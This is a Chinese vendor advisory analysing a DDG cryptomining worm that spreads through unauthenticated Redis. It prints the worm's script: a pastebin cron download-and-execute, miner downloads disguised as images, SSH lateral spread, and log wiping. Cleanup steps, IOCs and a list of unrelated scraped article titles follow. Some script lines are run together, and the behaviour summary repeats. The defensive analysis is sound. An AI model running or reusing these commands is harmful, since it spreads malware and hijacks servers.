病毒事件介绍

2019年2月21日 Linux下DDG变种挖矿病毒在全国范围内大规模爆发,默安科技应急响应中心经过对样本分析发现,该病毒变种通过Redis未授权访问漏洞进行突破植入,然后使用本地密钥登录.ssh/known_hosts文件中的服务器进行横向传播,造成大量服务器负载增高,无法正常提供业务。

病毒执行的恶意脚本通过以下地址进行储存和更新:

https://pastebin.com/raw/sByq0rym

病毒简要分析

恶意病毒特征如下:

恶意文件列表

使用LD_PRELOAD进行劫持

  • /etc/ld.so.preload
  • /usr/local/lib/libioset.so

恶意二进制文件

  • /tmp/watchdogs
  • /usr/sbin/watchdogs
  • /tmp/ksoftirqds

计划任务脚本

  • /etc/cron.d/tomcat
  • /etc/cron.d/root
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /etc/rc.d/init.d/watchdogs

病毒脚本分析如下:

每15分钟从pastebin上下载经过base64编码的该脚本自身并执行:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

关闭其他可能存在的挖矿木马:

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

通过chattr指令锁定系统权限,关闭资源占用较高的服务:

chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

杀掉一些DDoS进程:

if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

根据内核版本下载病毒程序并执行:

if [ ! -f "/tmp/.lsdpid" ]; thenARCH=$(uname -m)if [ ${ARCH}x = "x86_64x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselif [ ${ARCH}x = "i686x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselse(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogsfinohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; thenARCH=$(uname -m)if [ ${ARCH}x = "x86_64x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselif [ ${ARCH}x = "i686x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselse(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogsfinohup /tmp/watchdogs >/dev/null 2>&1 &
fi

通过读取.ssh目录下known_hosts中的服务器地址,尝试使用密钥登录后横向传播:

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChec
king=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

默安主机安全防护系统针对该DDG变种病毒分析如下:

该DDG变种病毒行为总结:

1、通过扫描发现存在Redis未授权服务漏洞的服务器进行感染。

2、每15分钟从pastebin上下载经过base64编码的该脚本自身并执行。

3、关闭其他可能存在的挖矿及DDoS木马,通过chattr指令锁定系统权限,关闭资源占用较高的服务。

4、下载伪装成图片的加有UPX壳的门罗币挖矿木马,设置为开机启动并在后台运行。

5、通过读取.ssh目录下known_hosts中的服务器地址,使用密钥登录后下载执行病毒的方式进行横向传播。

6、通过对ifconfig、ls、ps、rm、chkconfig等一系列命令进行so劫持,致使大量系统指令失效命令。劫持后执行这些命令还会该病毒还会调用自身相关代码进行写cron文件进行病毒的保持。

7、通过libioset.so对常见系统函数(如readdir, access函数)进行过滤,隐藏恶意文件及进程,使用ls、ps等命令无法看到和删除恶意进程及相关文件。

该DDG变种病毒行为总结:

1、通过扫描发现存在Redis未授权服务漏洞的服务器进行感染。

2、每15分钟从pastebin上下载经过base64编码的该脚本自身并执行。

3、关闭其他可能存在的挖矿及DDoS木马,通过chattr指令锁定系统权限,关闭资源占用较高的服务。

4、下载伪装成图片的加有UPX壳的门罗币挖矿木马,设置为开机启动并在后台运行。

5、通过读取.ssh目录下known_hosts中的服务器地址,使用密钥登录后下载执行病毒的方式进行横向传播。

6、通过对ifconfig、ls、ps、rm、chkconfig等一系列命令进行so劫持,致使大量系统指令失效命令。劫持后执行这些命令还会该病毒还会调用自身相关代码进行写cron文件进行病毒的保持。

7、通过libioset.so对常见系统函数(如readdir, access函数)进行过滤,隐藏恶意文件及进程,使用ls、ps等命令无法看到和删除恶意进程及相关文件。

病毒处置方法

1)默安科技已针对病毒开发自动化清理脚本,脚本地址:

https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool

2)如无业务必要,修改Redis只监听127.0.0.1,并为Redis设置认证密码。编辑Redis配置文件/etc/redis.conf以下行保存后使用service redis restart重启Redis服务:

  • bind 127.0.0.1    #配置只监听本地回环地址127.0.0.1
  • requirepass xxx   #去掉行前注释,修改密码为所需的密码

3)建议使用默安科技哨兵云对全网服务器进行排查Redis未授权访问漏洞并进行安全加固,从源头上避免感染病毒。

4)紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

5)不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

FAQ

## 为什么无法删除文件和kill进程?

蠕虫通过ld.so.preload使用libioset.so对常见系统函数(如:readdir、access函数)进行过滤,当返回结果中包含恶意文件和进程时,会主动过滤和隐藏相关结果,使用ls、ps等命令无法看到恶意进程文件。

## 如何清理?

上传busybox到/bin/目录下,使用busybox清理文件。

## 为什么busybox可以清理文件?

busybox不依赖于系统的动态库,不受ld.so.preload劫持,能够正常操作文件。

附录IOCs

●域名

  • http://thyrsi.com
  • https://pastebin.com

● ip

  • 47.110.190.245

●矿池地址

  • xmr.f2pool.com

● MD5

  • aee3a19beb22527a1e0feac76344894c
  • 86e2f5859ca276f307a034b5c7c450f1
  • ae356f2499b2228e86bcc4d61f4a29c9
  • d6a146161ec201f9b3f20fbfd528f901
  • a48f529646b8b5e96bab67d6d517a975
  • 04ca88d563b568bac6d1f64faf4d390e

其他

## 如有遇到不能清理情况,可联系我们进行处理。

## 针对该DDG变种的病毒进一步分析还在进行中,请关注默安科技微信公众号,以及时获取病毒的进一步分析结果。

【应急类漏洞】Linux下变种DDG挖矿病毒紧急通告及处置方法相关推荐

  1. linux程序运行段错误,Linux下的段错误产生的原因及调试方法

    Linux下的段错误产生的原因及调试方法 简而言之,产生段错误就是访问了错误的内存段,一般是你没有权限,或者根本就不存在对应的物理内存,尤其常见的是访问0地址. 一般来 说,段错误就是指访问的内存超出 ...

  2. linux服务器被植入挖矿病毒后初步解决方案

    linux服务器被植入挖矿病毒是真让人无语,密码也被暴力破解,还时不时挖矿重启. 只能上网搜索,初步解决方案如下: 一.定位攻击服务器的ip 首先root,然后进~/.cache,使用netstat ...

  3. Linux下C++中可使用的3种Hook方法

    Hook即钩子,截获API调用的技术,是将执行流程重定向到你自己的代码,类似于hack.如使程序运行时调用你自己实现的malloc函数代替调用系统库中的malloc函数.这里介绍下Linux下C++中 ...

  4. Linux下scp无密码上传 下载 文件 目录的方法

    这篇文章主要介绍了Linux下scp无密码上传 下载 文件 目录的方法,非常不错,具有参考借鉴价值,需要的朋友可以参考下 在Linux下远程备份的时候,需要配置scp的 无密码复制文件.目录.就把这个 ...

  5. Linux 下查看某一个程序所使用的内存方法介绍

    Linux 下查看某一个程序所使用的内存方法介绍 在 Linux 上进行开发和运营维护的时候,免不了要查看某一个程序所占用内存的情况.常用方法总结如下(注意第四种方法): 第一种:ps -aux | ...

  6. linux下,matplotlib遇到的相关问题以及解决方法

    linux下,matplotlib遇到的相关问题以及解决方法 参考文章: (1)linux下,matplotlib遇到的相关问题以及解决方法 (2)https://www.cnblogs.com/sh ...

  7. linux系统打开远程端口,linux下3种检测远程端口是否打开的方法

    原标题:linux下3种检测远程端口是否打开的方法 方法一. telnet 常用telnet ip port方式测试远程主机端口是否打开. 方法二. nmap nmap ip -p port 测试端口 ...

  8. Window应急响应(六):NesMiner挖矿病毒

    0x00 前言 作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它. 0x01 感染现象 1.向 ...

  9. linux下grep同时匹配多个单词,Linux下使用grep命令搜索多个单词的方法

    摘要 腾兴网为您分享:Linux下使用grep命令搜索多个单词的方法,篆刻字典,中国知网,虚拟机,微博等软件知识,以及掌上公交app,尚书ocr,汇博企业,强密码,支付宝,mh,海融易,我的世界火影忍 ...

  10. linux下默认国外源下载过慢的解决方法

    linux下默认国外源下载过慢的解决方法 以pip下载python三方库flask为例: 国内源下载: pip3 install flask 使用阿里镜像下载: (-i 加镜像网址) pip3 ins ...

最新文章

  1. 一套基础自动化部署搭建过程
  2. 浪潮信息英伟达霸榜!MLPerf™最新榜单发布,浪潮信息包揽2021年度近半数冠军...
  3. python是一种什么类型的编程语言-Python这么火,为什么说它不是未来的编程语言?...
  4. 数字电路是如何搭建的
  5. 剑指offer 变态跳台阶
  6. 超硬核!学霸把操作系统经典算法给敲完了!要知行合一
  7. 数组的循环及跌送方式
  8. zookeeper基本安装文档
  9. 面对面快传文件在服务器有痕迹,QQ面对面快传的文件存储在哪
  10. 访问github时出现隐私设置错误您的连接不是私密连接问题的解决方案
  11. 没有安全删除硬件的解决
  12. 安装gi的时候回退root.sh的执行
  13. 【U盘刷机】小米路由器变砖如何100%刷机成功
  14. 端口扫描神器 - Nmap的基本使用
  15. 中控门禁无法添加设备,提示表结构不存在或接收超时
  16. html5 video speed control插件,谷歌浏览器插件Video Speed Manager 视频速度控制插件
  17. uniapp授权微信登陆
  18. Node.js的用户交互(使用readline模块)
  19. 云计算离生活还有多远
  20. 广点通广告,oppo广告集成

热门文章

  1. 获取少女资源.html,AI少女资源一般在哪获取比较好?AI少女全地图资源获取地址一览...
  2. win2008R2 AD域 网络驱动映射
  3. Matlab之绘制瀑布图
  4. 小程序源码:笑话段子手-多玩法安装简单
  5. js实现form的submit请求
  6. threejs修改模型旋转轴
  7. 已解决:axios 发送post请求,报403错误
  8. Failed to parse mapping resource......
  9. php新浪微博 登录接口文档,php新浪微博登录接口用法实例,php新浪_PHP教程
  10. 伪类选择器编写顺序以及注意事项